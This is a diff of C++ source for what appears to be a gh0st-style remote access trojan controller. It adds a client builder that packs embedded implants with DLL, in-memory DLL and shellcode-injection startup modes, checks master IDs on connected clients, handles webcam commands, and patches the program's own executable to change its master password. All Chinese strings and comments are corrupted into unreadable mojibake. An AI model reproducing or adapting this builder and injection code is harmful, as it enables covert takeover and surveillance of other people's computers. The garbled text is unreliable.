MessageBox("<EFBFBD>뼰ʱ<EFBFBD>Ե<EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ: <20>ڹ<EFBFBD><DAB9>߲˵<DFB2><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɿ<EFBFBD><C9BF><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -954,9 +968,9 @@ bool CMy2015RemoteDlg::CheckValid() {
|
||||
auto settings = "settings", pwdKey = "Password";
|
||||
// <20><>֤<EFBFBD><D6A4><EFBFBD><EFBFBD>
|
||||
CPasswordDlg dlg;
|
||||
std::string hardwareID = getHardwareID();
|
||||
std::string hashedID = hashSHA256(hardwareID);
|
||||
std::string deviceID = getFixedLengthID(hashedID);
|
||||
static std::string hardwareID = getHardwareID();
|
||||
static std::string hashedID = hashSHA256(hardwareID);
|
||||
static std::string deviceID = getFixedLengthID(hashedID);
|
||||
CString pwd = THIS_APP->m_iniFile.GetStr(settings, pwdKey, "");
|
||||
|
||||
dlg.m_sDeviceID = deviceID.c_str();
|
||||
@@ -973,7 +987,7 @@ bool CMy2015RemoteDlg::CheckValid() {
|
||||
return false;
|
||||
}
|
||||
std::vector<std::string> subvector(v.begin() + 2, v.end());
|
||||
std::string password = v[0] + " - " + v[1] + ": " + PWD_HASH256;
|
||||
std::string password = v[0] + " - " + v[1] + ": " + GetPwdHash();
|
||||
std::string finalKey = deriveKey(password, deviceID);
|
||||
std::string hash256 = joinString(subvector, '-');
|
||||
std::string fixedKey = getFixedLengthID(finalKey);
|
||||
@@ -981,7 +995,7 @@ bool CMy2015RemoteDlg::CheckValid() {
|
||||
THIS_APP->m_iniFile.SetStr(settings, pwdKey, "");
|
||||
if (pwd.IsEmpty() || (IDOK != dlg.DoModal() || hash256 != fixedKey)) {
|
||||
if (!dlg.m_sPassword.IsEmpty())
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><EFBFBD><DEB7><EFBFBD><EFBFBD>ɷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -1002,9 +1016,9 @@ bool CMy2015RemoteDlg::CheckValid() {
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineBuildClient()
|
||||
{
|
||||
// <20><><EFBFBD>±<EFBFBD><C2B1><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD>14<31><34><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD><EFBFBD>֮<EFBFBD><D6AE><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>"<22><><EFBFBD>к<EFBFBD>"<22><>
|
||||
// <20><><EFBFBD>±<EFBFBD><C2B1><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD>14<31><34><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD><EFBFBD>֮<EFBFBD><D6AE><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>"<22><><EFBFBD><EFBFBD>"<22><>
|
||||
// <20><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><DFBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>if<69><66><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD>Ӧ<EFBFBD>ط<EFBFBD><D8B7><EFBFBD><EFBFBD>ɡ<EFBFBD>
|
||||
// <20><><EFBFBD>кŰ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD>Χ<EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD>һ<EFBFBD>룻<EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD>۸<EFBFBD>!
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD>Χ<EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD>һ<EFBFBD>룻<EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD>۸<EFBFBD>!
|
||||
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> if <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>θ<EFBFBD><CEB8><EFBFBD>Ȩ<EFBFBD><EFBFBD>.
|
||||
// 2025/04/20
|
||||
if (!CheckValid())
|
||||
@@ -1014,6 +1028,7 @@ void CMy2015RemoteDlg::OnOnlineBuildClient()
|
||||
CBuildDlg Dlg;
|
||||
Dlg.m_strIP = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "localIp", "");
|
||||
int Port = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost");
|
||||
Dlg.m_strIP = Dlg.m_strIP.IsEmpty() ? "127.0.0.1" : Dlg.m_strIP;
|
||||
Dlg.m_strPort = Port <= 0 ? "6543" : std::to_string(Port).c_str();
|
||||
Dlg.DoModal();
|
||||
}
|
||||
@@ -1027,6 +1042,8 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
|
||||
if (!ContextObject->bLogin && szBuffer[0] != COMMAND_BYE)
|
||||
continue;
|
||||
if (szBuffer[0]== COMMAND_WEBCAM && ContextObject->sClientInfo[ONLINELIST_VIDEO] == CString("<EFBFBD><EFBFBD>"))
|
||||
{
|
||||
continue;
|
||||
@@ -1359,6 +1376,11 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
||||
LOGIN_INFOR* LoginInfor = new LOGIN_INFOR;
|
||||
ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0);
|
||||
|
||||
auto curID = GetMasterId();
|
||||
ContextObject->bLogin = (LoginInfor->szMasterID == curID || strlen(LoginInfor->szMasterID)==0);
|
||||
if (!ContextObject->bLogin) {
|
||||
Mprintf("*** Received master '%s' client! ***\n", LoginInfor->szMasterID);
|
||||
}
|
||||
strIP = inet_ntoa(ClientAddr.sin_addr);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -1368,7 +1390,13 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
||||
strOS = LoginInfor->OsVerInfoEx;
|
||||
|
||||
//CPU
|
||||
strCPU.Format("%dMHz", LoginInfor->dwCPUMHz);
|
||||
if (LoginInfor->dwCPUMHz != -1)
|
||||
{
|
||||
strCPU.Format("%dMHz", LoginInfor->dwCPUMHz);
|
||||
}
|
||||
else {
|
||||
strCPU = "Unknown";
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>
|
||||
strPing.Format("%d", LoginInfor->dwSpeed);
|
||||
@@ -1522,6 +1550,8 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
|
||||
for (int i=0, n=m_CList_Online.GetItemCount(); i<n; ++i)
|
||||
{
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(i);
|
||||
if (!ContextObject->bLogin)
|
||||
continue;
|
||||
m_iocpServer->Send(ContextObject, buf, sizeof(buf));
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
@@ -1762,3 +1792,101 @@ void CMy2015RemoteDlg::OnToolAuth()
|
||||
|
||||
dlg.DoModal();
|
||||
}
|
||||
|
||||
|
||||
char* ReadCurrentExecutable(size_t& outSize) {
|
||||
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||
char path[MAX_PATH];
|
||||
DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH);
|
||||
if (len == 0 || len == MAX_PATH) {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
std::ifstream file(path, std::ios::binary | std::ios::ate); // ate = <20><><EFBFBD><EFBFBD>ĩβ<C4A9><CEB2><EFBFBD>ô<EFBFBD>С
|
||||
if (!file) {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
|
||||
std::streamsize size = file.tellg();
|
||||
file.seekg(0, std::ios::beg);
|
||||
char* buffer = new char[size];
|
||||
|
||||
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> buffer
|
||||
if (!file.read(buffer, size)) {
|
||||
delete[] buffer;
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
outSize = static_cast<size_t>(size);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
|
||||
void CMy2015RemoteDlg::OnToolGenMaster()
|
||||
{
|
||||
CInputDialog pass(this);
|
||||
pass.Init("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", "<EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:");
|
||||
if (pass.DoModal() != IDOK || pass.m_str.IsEmpty())
|
||||
return;
|
||||
std::string masterHash(skCrypt(MASTER_HASH));
|
||||
if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) {
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD>벻<EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
|
||||
CInputDialog dlg(this);
|
||||
dlg.Init("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", "<EFBFBD>µ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:");
|
||||
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty())
|
||||
return;
|
||||
size_t size = 0;
|
||||
char* curEXE = ReadCurrentExecutable(size);
|
||||
if (curEXE == nullptr) {
|
||||
MessageBox("<EFBFBD><EFBFBD>ȡ<EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>! <20><><EFBFBD>Ժ<EFBFBD><D4BA>ٴγ<D9B4><CEB3>ԡ<EFBFBD>", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
std::string pwdHash = hashSHA256(dlg.m_str.GetString());
|
||||
int iOffset = MemoryFind(curEXE, masterHash.c_str(), size, masterHash.length());
|
||||
if (iOffset == -1) {
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>! <20><><EFBFBD>Ժ<EFBFBD><D4BA>ٴγ<D9B4><CEB3>ԡ<EFBFBD>", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_ICONWARNING);
|
||||
SAFE_DELETE_ARRAY(curEXE);
|
||||
return;
|
||||
}
|
||||
memcpy(curEXE + iOffset, pwdHash.c_str(), pwdHash.length());
|
||||
CComPtr<IShellFolder> spDesktop;
|
||||
HRESULT hr = SHGetDesktopFolder(&spDesktop);
|
||||
if (FAILED(hr)) {
|
||||
AfxMessageBox("Explorer δ<><CEB4>ȷ<EFBFBD><C8B7>ʼ<EFBFBD><CABC>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>");
|
||||
SAFE_DELETE_ARRAY(curEXE);
|
||||
return;
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ض<EFBFBD><D8B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
CFileDialog fileDlg(FALSE, _T("exe"), "YAMA.exe", OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
|
||||
_T("EXE Files (*.exe)|*.exe|All Files (*.*)|*.*||"), AfxGetMainWnd());
|
||||
int ret = 0;
|
||||
try {
|
||||
ret = fileDlg.DoModal();
|
||||
}
|
||||
catch (...) {
|
||||
AfxMessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>");
|
||||
SAFE_DELETE_ARRAY(curEXE);
|
||||
return;
|
||||
}
|
||||
if (ret == IDOK)
|
||||
{
|
||||
CString name = fileDlg.GetPathName();
|
||||
CFile File;
|
||||
BOOL r = File.Open(name, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite);
|
||||
if (!r) {
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!\r\n" + name, "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
|
||||
SAFE_DELETE_ARRAY(curEXE);
|
||||
return;
|
||||
}
|
||||
File.Write(curEXE, size);
|
||||
File.Close();
|
||||
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n" + name, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
|
||||
}
|
||||
SAFE_DELETE_ARRAY(curEXE);
|
||||
}
|
||||
|
||||
@@ -78,7 +78,7 @@ public:
|
||||
IOCPServer* m_iocpServer;
|
||||
CRITICAL_SECTION m_cs;
|
||||
BOOL isClosed;
|
||||
|
||||
CMenu m_MainMenu;
|
||||
CBitmap m_bmOnline[4];
|
||||
bool CheckValid();
|
||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||
@@ -123,4 +123,5 @@ public:
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
afx_msg void OnOnlineShare();
|
||||
afx_msg void OnToolAuth();
|
||||
afx_msg void OnToolGenMaster();
|
||||
};
|
||||
|
||||
@@ -101,12 +101,14 @@
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<LanguageStandard>Default</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt)</OutputFile>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
@@ -128,12 +130,14 @@
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<LanguageStandard>Default</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)</OutputFile>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
@@ -156,6 +160,7 @@
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<StringPooling>true</StringPooling>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<LanguageStandard>Default</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
@@ -164,6 +169,7 @@
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x86$(TargetExt)</OutputFile>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
@@ -187,6 +193,7 @@
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<StringPooling>true</StringPooling>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<LanguageStandard>Default</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
@@ -195,6 +202,7 @@
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x64$(TargetExt)</OutputFile>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
@@ -207,8 +215,12 @@
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\Release\ghost.exe" />
|
||||
<None Include="..\..\Release\ServerDll.dll" />
|
||||
<None Include="..\..\Release\TestRun.exe" />
|
||||
<None Include="..\..\x64\Release\ghost.exe" />
|
||||
<None Include="..\..\x64\Release\ServerDll.dll" />
|
||||
<None Include="..\..\x64\Release\TestRun.exe" />
|
||||
<None Include="res\1.cur" />
|
||||
<None Include="res\2.cur" />
|
||||
<None Include="res\2015Remote.ico" />
|
||||
|
||||
22
server/2015Remote/2015Remote_vs2015.vcxproj.user
Normal file
22
server/2015Remote/2015Remote_vs2015.vcxproj.user
Normal file
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<RESOURCE_FILE>2015Remote.rc</RESOURCE_FILE>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt)</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86$(TargetExt)</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64$(TargetExt)</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -7,14 +7,51 @@
|
||||
#include "afxdialogex.h"
|
||||
#include <io.h>
|
||||
|
||||
#define OTHER_ITEM 3
|
||||
enum Index
|
||||
{
|
||||
IndexTestRun_DLL,
|
||||
IndexTestRun_MemDLL,
|
||||
IndexTestRun_InjSC,
|
||||
IndexGhost,
|
||||
IndexServerDll,
|
||||
OTHER_ITEM
|
||||
};
|
||||
|
||||
// CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
|
||||
|
||||
std::string GetMasterId();
|
||||
|
||||
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
|
||||
|
||||
LPBYTE ReadResource(int resourceId, DWORD &dwSize) {
|
||||
dwSize = 0;
|
||||
auto id = resourceId;
|
||||
HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(id), "BINARY");
|
||||
if (hResource == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
// <20><>ȡ<EFBFBD><C8A1>Դ<EFBFBD>Ĵ<EFBFBD>С
|
||||
dwSize = SizeofResource(NULL, hResource);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ
|
||||
HGLOBAL hLoadedResource = LoadResource(NULL, hResource);
|
||||
if (hLoadedResource == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD>ȡָ<C8A1><D6B8><EFBFBD><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD>ݵ<EFBFBD>ָ<EFBFBD><D6B8>
|
||||
LPVOID pData = LockResource(hLoadedResource);
|
||||
if (pData == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
auto r = new BYTE[dwSize];
|
||||
memcpy(r, pData, dwSize);
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
|
||||
CBuildDlg::CBuildDlg(CWnd* pParent)
|
||||
: CDialog(CBuildDlg::IDD, pParent)
|
||||
, m_strIP(_T(""))
|
||||
@@ -33,8 +70,8 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
||||
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
|
||||
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
|
||||
DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe);
|
||||
DDX_Control(pDX, IDC_COMBO_ENCRYPT, m_ComboEncrypt);
|
||||
DDX_Control(pDX, IDC_STATIC_OTHER_ITEM, m_OtherItem);
|
||||
DDX_Control(pDX, IDC_COMBO_BITS, m_ComboBits);
|
||||
}
|
||||
|
||||
|
||||
@@ -49,152 +86,164 @@ END_MESSAGE_MAP()
|
||||
|
||||
void CBuildDlg::OnBnClickedOk()
|
||||
{
|
||||
CFile File;
|
||||
char szTemp[MAX_PATH];
|
||||
ZeroMemory(szTemp,MAX_PATH);
|
||||
CString strCurrentPath;
|
||||
CString strFile;
|
||||
CString strSeverFile;
|
||||
BYTE * szBuffer=NULL;
|
||||
DWORD dwFileSize;
|
||||
UpdateData(TRUE);
|
||||
if (m_strIP.IsEmpty() || atoi(m_strPort) <= 0)
|
||||
return;
|
||||
|
||||
BYTE* szBuffer = NULL;
|
||||
DWORD dwFileSize = 0;
|
||||
int index = m_ComboExe.GetCurSel(), typ=index;
|
||||
int is64bit = m_ComboBits.GetCurSel() == 0;
|
||||
if (index == IndexTestRun_InjSC && !is64bit) {
|
||||
MessageBox("Shellcode ֻ<><D6BB><EFBFBD><EFBFBD>64λ<34><CEBB><EFBFBD>±<EFBFBD>ע<EFBFBD>룬ע<EBA3AC><D7A2><EFBFBD><EFBFBD>Ҳֻ<D2B2><D6BB><EFBFBD><EFBFBD>64λ!", "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
int startup = Startup_DLL;
|
||||
CString file;
|
||||
switch (index)
|
||||
{
|
||||
case CLIENT_TYPE_DLL:
|
||||
case IndexTestRun_DLL: case IndexTestRun_MemDLL: case IndexTestRun_InjSC:
|
||||
file = "TestRun.exe";
|
||||
typ = index == IndexTestRun_DLL ? CLIENT_TYPE_DLL : CLIENT_TYPE_MEMDLL;
|
||||
startup = std::map<int, int>{
|
||||
{IndexTestRun_DLL, Startup_DLL},{IndexTestRun_MemDLL, Startup_MEMDLL},{IndexTestRun_InjSC, Startup_InjSC},
|
||||
}[index];
|
||||
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize);
|
||||
break;
|
||||
case CLIENT_TYPE_ONE:
|
||||
case IndexGhost:
|
||||
file = "ghost.exe";
|
||||
typ = CLIENT_TYPE_ONE;
|
||||
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
|
||||
break;
|
||||
case CLIENT_TYPE_MODULE:
|
||||
case IndexServerDll:
|
||||
file = "ServerDll.dll";
|
||||
typ = CLIENT_TYPE_DLL;
|
||||
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize);
|
||||
break;
|
||||
case OTHER_ITEM:
|
||||
case OTHER_ITEM: {
|
||||
m_OtherItem.GetWindowTextA(file);
|
||||
typ = -1;
|
||||
if (file != "δѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>") {
|
||||
CFile File;
|
||||
File.Open(file, CFile::modeRead | CFile::typeBinary);
|
||||
dwFileSize = File.GetLength();
|
||||
if (dwFileSize > 0) {
|
||||
szBuffer = new BYTE[dwFileSize];
|
||||
File.Read(szBuffer, dwFileSize);
|
||||
}
|
||||
File.Close();
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
if (file.IsEmpty() || file == "δѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>")
|
||||
if (szBuffer == NULL)
|
||||
{
|
||||
